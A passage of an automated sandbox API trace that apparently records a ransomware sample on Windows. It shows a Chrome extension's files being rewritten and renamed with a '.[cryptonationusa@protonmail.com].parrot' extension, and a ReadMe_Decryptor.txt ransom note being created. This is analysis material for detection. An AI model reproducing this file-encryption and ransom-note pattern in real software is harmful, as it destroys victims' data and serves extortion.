(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cff58 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0140 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x317c098 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0140 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cff58 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x317c098 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x317ca00 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x317d818 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ca00 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x317ed58 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317d818 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3180d20 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ed58 | out: hHeap=0x5b0000) returned 1 [0075.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x317c098 [0075.057] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3180d20 | out: hHeap=0x5b0000) returned 1 [0075.057] WriteFile (in: hFile=0x274, lpBuffer=0x317c0a0*, nNumberOfBytesToWrite=0x3e98, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x317c0a0*, lpNumberOfBytesWritten=0x18da44*=0x3e98, lpOverlapped=0x0) returned 1 [0075.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.058] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.058] CloseHandle (hObject=0x274) returned 1 [0075.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x5cff58 [0075.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.059] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3189a80 | out: hHeap=0x5b0000) returned 1 [0075.060] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6694c0 [0075.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x160) returned 0x5cff58 [0075.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0075.061] GetFileType (hFile=0x274) returned 0x1 [0075.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a7fe8 [0075.125] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.125] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba38a760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba38a760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.126] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8362b870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba38a760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0075.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0075.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0075.128] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0075.128] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c40400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c40400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c8c6c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c8c6c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cb2820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cb2820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cb2820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cb2820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cd8980, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cd8980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cfeae0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cfeae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d24c40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d24c40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d4ada0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d4ada0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9dbd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9dbd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9de3320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9de3320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9de3320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9de3320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e09480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e09480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e55740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e55740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e7b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e7b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ea1a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ea1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ec7b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ec7b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ec7b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ec7b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9eedcc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9eedcc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9eedcc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f13e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f13e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f39f80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f39f80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0075.129] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f600e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f600e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9fd2500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9fd2500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ff8660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ff8660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba01e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba01e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba06aa80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba06aa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba090be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba090be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0b6d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0b6d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1 [0075.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba0b6d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba0b6d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, 